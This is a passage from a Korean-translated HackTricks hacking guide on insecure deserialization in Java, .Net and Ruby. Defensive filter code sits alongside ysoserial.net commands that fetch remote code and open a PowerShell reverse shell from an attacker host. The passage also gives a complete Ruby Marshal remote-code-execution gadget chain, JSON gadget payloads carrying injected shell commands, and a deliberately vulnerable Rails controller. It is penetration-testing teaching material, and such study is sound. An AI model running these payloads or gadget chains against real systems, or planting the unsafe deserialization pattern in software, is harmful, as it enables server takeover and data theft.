resolveClass() 메서드를 오버라이드하여 역직렬화를 허용된 클래스만으로 제한하세요. 이렇게 하면 명시적으로 허용된 클래스 이외의 클래스 역직렬화를 방지할 수 있습니다. 예를 들어 다음 예제는 역직렬화를 Bicycle 클래스만으로 제한합니다:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement는 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 blacklisting harmful classes에 적용되며, JVM 파라미터를 사용합니다:
-javaagent:name-of-agent.jar
이는 deserialization을 동적으로 보호하는 방법을 제공하며, 즉각적인 코드 변경이 실용적이지 않은 환경에 적합합니다.
예제는 rO0 by Contrast Security에서 확인하세요.
직렬화 필터 구현: Java 9는 ObjectInputFilter 인터페이스를 통해 직렬화 필터를 도입했으며, 이는 직렬화된 객체가 역직렬화되기 전에 충족해야 할 기준을 지정할 수 있는 강력한 메커니즘을 제공합니다. 이러한 필터는 전역적으로 또는 스트림별로 적용할 수 있어 역직렬화 과정을 세밀하게 제어할 수 있습니다.
직렬화 필터를 활용하려면 모든 역직렬화 작업에 적용되는 전역 필터를 설정하거나 특정 스트림에 대해 동적으로 구성할 수 있습니다. 예를 들어:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Leveraging External Libraries for Enhanced Security: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.
- NotSoSerial intercepts deserialization processes to prevent execution of untrusted code.
- jdeserialize allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
- Kryo is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).
Products
There are several products using this middleware to send messages:
.png)
.png)
Exploitation
즉, 많은 서비스들이 위험한 방식으로 JMS를 사용하고 있습니다. 따라서 이 서비스들에 메시지를 보낼 수 있는 충분한 권한(일반적으로 유효한 자격증명이 필요함)이 있다면, consumer/subscriber가 deserialized 할 malicious objects serialized 를 보낼 수 있습니다.
이 공격은 해당 메시지를 사용할 모든 클라이언트가 감염될 수 있음을 의미합니다.
서비스가 취약하더라도(사용자 입력을 안전하지 않게 deserializing 하기 때문에) 취약점을 악용하려면 유효한 gadgets 를 찾아야 한다는 점을 기억하세요.
도구 JMET는 이러한 서비스에 연결하여 알려진 gadgets 를 사용해 여러 malicious objects serialized 를 전송함으로써 공격하도록 만들어졌습니다. 이 익스플로잇들은 서비스가 여전히 취약하고 사용된 gadgets 중 하나라도 취약한 애플리케이션에 포함되어 있다면 작동합니다.
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.
Fingerprint
WhiteBox
소스 코드를 검사하여 다음 항목의 출현을 찾아야 합니다:
TypeNameHandlingJavaScriptTypeResolver
사용자가 제어하는 변수로 타입이 결정되게 허용하는 serializers 에 주의를 기울이세요.
BlackBox
서버 측에서 deserialization 될 수 있는 Base64 인코딩 문자열 AAEAAAD///// 또는 유사한 패턴을 찾으십시오. 이는 deserialized 할 타입에 대한 제어를 제공할 수 있습니다. 여기에는 TypeObject 또는 $type을 포함한 JSON 또는 XML 구조 등이 포함될 수 있습니다.
ysoserial.net
이 경우 도구 ysoserial.net 을 사용하여 deserialization exploits 를 생성할 수 있습니다. Git 리포지토리를 다운로드한 후에는 예를 들어 Visual Studio 를 사용해 도구를 컴파일 해야 합니다.
ysoserial.net 이 어떻게 exploit 을 만드는지 배우고 싶다면 ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter 가 설명된 이 페이지를 확인하세요.
ysoserial.net 의 주요 옵션은: --gadget, --formatter, --output 그리고 --plugin 입니다.
--gadget은 악용할 gadget(deserialization 중 명령을 실행하도록 악용될 클래스/함수)을 지정하는 데 사용됩니다.--formatter는 익스플로잇을 직렬화할 방법을 지정하는 데 사용됩니다(백엔드가 페이로드를 deserializing 하는 데 사용하는 라이브러리를 알고 동일한 포맷터를 사용해야 합니다).--output은 익스플로잇을 raw 또는 base64 인코딩으로 출력할지 지정합니다. 참고로 ysoserial.net 은 페이로드를 기본적으로 Windows에서 사용되는 UTF-16LE 로 인코딩 하므로 raw 를 얻어 리눅스 콘솔에서 단순히 인코딩하면 인코딩 호환성 문제로 익스플로잇이 제대로 동작하지 않을 수 있습니다(HTB JSON box에서는 페이로드가 UTF-16LE와 ASCII 둘 다에서 작동했지만 항상 그렇다고는 할 수 없습니다).--pluginysoserial.net 은 ViewState 같은 특정 프레임워크용 익스플로잇을 제작하기 위한 플러그인을 지원합니다.
More ysoserial.net parameters
--minify는 가능한 경우 더 작은 페이로드 를 제공합니다.--raf -f Json.Net -c "anything"이는 제공된 formatter(Json.Net이 경우)로 사용할 수 있는 모든 gadgets 를 표시합니다.--sf xml는 특정 gadget(-g)을 지정하면 ysoserial.net 이 "xml"을 포함하는 formatter들을(대소문자 구분 없이) 검색합니다.
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net에는 각 exploit가 어떻게 동작하는지 더 잘 이해하는 데 도움이 되는 매우 흥미로운 파라미터가 하나 더 있습니다: --test
이 파라미터를 지정하면 ysoserial.net이 시도합니다 해당 exploit 로컬에서, 그래서 payload가 제대로 작동하는지 테스트할 수 있습니다.
이 파라미터는 유용합니다. 코드를 검토하면 다음과 같은 코드 조각들을 찾을 수 있기 때문입니다 (from ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
이는 exploit을 테스트하기 위해 code가 serializersHelper.JsonNet_deserialize를 호출함을 의미한다.
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
위 예제 코드는 생성된 익스플로잇에 취약합니다. 따라서 .Net 애플리케이션에서 유사한 코드를 발견하면 해당 애플리케이션도 취약할 가능성이 큽니다.
따라서 --test 파라미터를 사용하면 ysoserial.net이 생성할 수 있는 역직렬화 익스플로잇에 대해 어떤 코드 조각들이 취약한지 파악할 수 있습니다.
ViewState
다음 포스트를 확인하세요: this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. If you already know the secrets used by the victim machine, read this post to know to execute code.
예방
.Net에서 역직렬화와 관련된 위험을 완화하려면:
- 데이터 스트림이 객체 타입을 정의하도록 허용하지 마십시오. 가능하면
DataContractSerializer또는XmlSerializer를 사용하세요. JSON.Net의 경우TypeNameHandling을None으로 설정하세요:TypeNameHandling = TypeNameHandling.NoneJavaScriptSerializer를JavaScriptTypeResolver와 함께 사용하는 것을 피하세요.- 역직렬화할 수 있는 타입을 제한하세요.
System.IO.FileInfo와 같은 .Net 타입은 서버 파일의 속성을 변경할 수 있어, 잠재적으로 denial of service attacks로 이어질 수 있는 고유한 위험이 있습니다. Value같은 위험한 속성을 가진 타입에 주의하세요. 예:System.ComponentModel.DataAnnotations.ValidationException의Value속성은 악용될 수 있습니다.- 타입 인스턴스화를 안전하게 제어하세요 — 그렇지 않으면
DataContractSerializer나XmlSerializer도 취약해질 수 있습니다. - 화이트리스트 제어를 구현하세요 —
BinaryFormatter와JSON.Net에 대해 커스텀SerializationBinder를 사용하세요. - .Net 내 알려진 취약한 역직렬화 gadget들에 대해 정보를 유지하고, deserializers가 이러한 타입을 인스턴스화하지 않도록 하세요.
- 잠재적으로 위험한 코드를 인터넷 접근 코드와 분리하세요 — 예를 들어 WPF 애플리케이션의
System.Windows.Data.ObjectDataProvider같은 알려진 gadget들이 신뢰할 수 없는 데이터 소스에 노출되지 않도록 합니다.
References
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, 강연: https://www.youtube.com/watch?v=oUAeWhW5b8c 및 슬라이드: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby에서 직렬화(serialization)는 marshal 라이브러리 내의 두 메서드로 수행됩니다. 첫 번째 메서드인 dump는 객체를 바이트 스트림으로 변환하는 데 사용되며, 이는 직렬화라고 합니다. 반대로 두 번째 메서드인 load는 바이트 스트림을 다시 객체로 복원하는 데 사용되며, 이는 역직렬화라고 합니다.
직렬화된 객체를 보호하기 위해 **Ruby는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 신뢰성을 보장합니다. 이 목적에 사용되는 키는 다음 위치 중 하나에 저장될 수 있습니다:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ruby On Rails를 exploit하기 위한 다른 RCE 체인: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() 메서드
이것은 this vulnerability report에서 설명했듯이, 일부 사용자의 필터링되지 않은 입력이 ruby 객체의 .send() 메서드에 도달하면 이 메서드를 통해 객체의 다른 어떤 메서드든 어떤 매개변수로든 호출할 수 있습니다.
예를 들어, eval을 호출하고 두 번째 매개변수로 ruby 코드를 전달하면 arbitrary code를 실행할 수 있습니다:
<Object>.send('eval', '<user input with Ruby code>') == RCE
또한, 앞서의 writeup에서 언급한 것처럼 **.send()**의 파라미터 중 하나만 attacker에 의해 제어된다면, 인수가 필요하지 않은 또는 인수에 기본값이 설정된 객체의 어떤 메서드든 호출할 수 있다.
이를 위해 객체의 모든 메서드를 열거하여 그러한 요구사항을 충족하는 흥미로운 메서드를 찾아낼 수 있다.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
어떻게 pollute a Ruby class and abuse it in here 가능한지 확인하세요.
Ruby _json pollution
요청 바디에 array처럼 hashable하지 않은 값들을 전송하면 이 값들은 _json이라는 새 키에 추가됩니다. 그러나 공격자는 바디에 _json이라는 값을 임의의 내용으로 직접 설정할 수도 있습니다. 예를 들어 백엔드가 어떤 파라미터의 진위 여부를 검사한 뒤에도 _json 파라미터를 사용해 특정 동작을 수행한다면, 권한 우회(authorisation bypass)가 발생할 수 있습니다.
자세한 내용은 Ruby _json pollution page를 확인하세요.
Other libraries
이 기법은 from this blog post에서 가져왔습니다.
다른 Ruby 라이브러리들도 객체를 serialize하는 데 사용될 수 있으며, 따라서 불안전한 역직렬화 과정에서 RCE를 얻기 위해 악용될 수 있습니다. 다음 표는 이러한 라이브러리들 중 일부와, 역직렬화될 때 로드된 클래스 내부에서 호출되는 메서드(기본적으로 RCE를 얻기 위해 악용할 수 있는 함수)를 보여줍니다:
| 라이브러리 | 입력 데이터 | 클래스 내부에서 시작되는 메서드 |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (클래스를 hash(map)의 키로 넣어야 함) |
| Ox | XML | hash (클래스를 hash(map)의 키로 넣어야 함) |
| Psych (Ruby) | YAML | hash (클래스를 hash(map)의 키로 넣어야 함)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Basic example:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Oj를 악용하려 시도할 경우, hash 함수 내부에서 to_s를 호출하고, to_s가 spec을 호출하며, spec이 fetch_path를 호출하도록 하는 gadget class를 찾아 임의의 URL을 가져오게 만들 수 있었고, 이는 이러한 종류의 unsanitized deserialization vulnerabilities를 탐지하는 훌륭한 방법을 제공했다.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
또한, 앞선 기법으로 시스템에 폴더가 생성되는 것이 확인되었고, 이는 다른 gadget을 악용해 이를 완전한 RCE로 전환하기 위한 전제조건이다. 예를 들면:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
자세한 내용은 original post를 확인하세요.
Bootstrap 캐싱
완전히 deserialization 취약점은 아니지만, arbitrary file write를 이용해 Bootsnap 캐싱을 악용해 Rails 애플리케이션에서 RCE를 얻는 멋진 기법입니다 (자세한 내용은 original post in here 참조).
아래는 Bootsnap 캐싱을 악용해 arbitrary file write 취약점을 익스플로잇하는 방법을 정리한 기사 내용의 간단 요약입니다:
-
Identify the Vulnerability and Environment
Rails 앱의 파일 업로드 기능이 공격자에게 파일을 임의로 쓸 수 있게 허용합니다. 앱은 제한된 권한(예: Docker의 non-root 사용자로 인해 tmp 등 특정 디렉토리만 쓰기가 가능)으로 실행되지만, 이로 인해 Bootsnap 캐시 디렉토리(일반적으로 tmp/cache/bootsnap)에 쓰는 것은 여전히 가능합니다.
-
Understand Bootsnap’s Cache Mechanism
Bootsnap은 컴파일된 Ruby 코드, YAML, JSON 파일을 캐싱하여 Rails 부팅 시간을 단축합니다. 캐시 파일은 cache key 헤더(예: Ruby 버전, 파일 크기, mtime, compile options 등 필드 포함)와 그 뒤에 이어지는 컴파일된 코드로 구성됩니다. 이 헤더는 앱 시작 시 캐시의 유효성을 검증하는 데 사용됩니다.
-
Gather File Metadata
공격자는 우선 Rails 시작 시 로드될 가능성이 높은 대상 파일(예: Ruby 표준 라이브러리의 set.rb)을 선택합니다. 컨테이너 내에서 Ruby 코드를 실행하여 RUBY_VERSION, RUBY_REVISION, size, mtime, compile_option 같은 중요한 메타데이터를 추출합니다. 이 데이터는 유효한 cache key를 만드는 데 필수적입니다.
-
Compute the Cache File Path
Bootsnap의 FNV-1a 64-bit 해시 메커니즘을 모방하여 올바른 캐시 파일 경로를 결정합니다. 이 단계는 악의적 캐시 파일이 Bootsnap이 기대하는 정확한 위치(예: tmp/cache/bootsnap/compile-cache-iseq/)에 놓이도록 보장합니다.
-
Craft the Malicious Cache File
공격자는 다음을 수행하는 페이로드를 준비합니다:
- 임의 명령 실행 (예: 프로세스 정보를 보기 위한 id 실행)
- 실행 후 재귀적 악용을 방지하기 위해 악성 캐시 제거
- 애플리케이션이 충돌하지 않도록 원본 파일(예: set.rb) 로드
이 페이로드는 바이너리 Ruby 코드로 컴파일되고, 앞서 수집한 메타데이터와 올바른 버전 번호를 사용해 정교하게 구성된 cache key 헤더와 이어붙여집니다.
-
Overwrite and Trigger Execution
arbitrary file write 취약점을 이용해 공격자는 계산된 위치에 제작한 캐시 파일을 씁니다. 다음으로 tmp/restart.txt(이 파일을 Puma가 모니터링함)에 쓰는 방식으로 서버 재시작을 유발합니다. 재시작 중에 Rails가 대상 파일을 require할 때 악성 캐시 파일이 로드되어 RCE가 발생합니다.
Ruby Marshal 실전 악용 (업데이트됨)
신뢰할 수 없는 바이트가 Marshal.load/marshal_load에 도달하는 모든 경로를 RCE 싱크로 취급하세요. Marshal은 임의의 객체 그래프를 재구성하고 materialization 중에 라이브러리/젬 콜백을 트리거합니다.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- 실제 체인에서 흔히 보이는 gadget 클래스:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - 페이로드에 삽입된 전형적인 side-effect 마커 (unmarshal 중 실행):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
실제 애플리케이션에서 노출되는 곳:
- Rails cache stores와 session stores — 역사적으로 Marshal 사용
- Background job backends와 file-backed object stores
- 바이너리 객체 blobs의 모든 커스텀 persistence 또는 전송
산업화된 gadget 발견:
- unmarshal 중 호출되는 생성자,
hash,_load,init_with또는 부작용을 일으키는 메서드를 grep - CodeQL의 Ruby unsafe deserialization 쿼리를 사용해 sources → sinks를 추적하고 gadget을 찾아내기
- 공개 다중 포맷 PoCs (JSON/XML/YAML/Marshal)로 검증
References
- Trail of Bits – Marshal madness: Ruby 역직렬화 익스플로잇의 간단한 역사: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks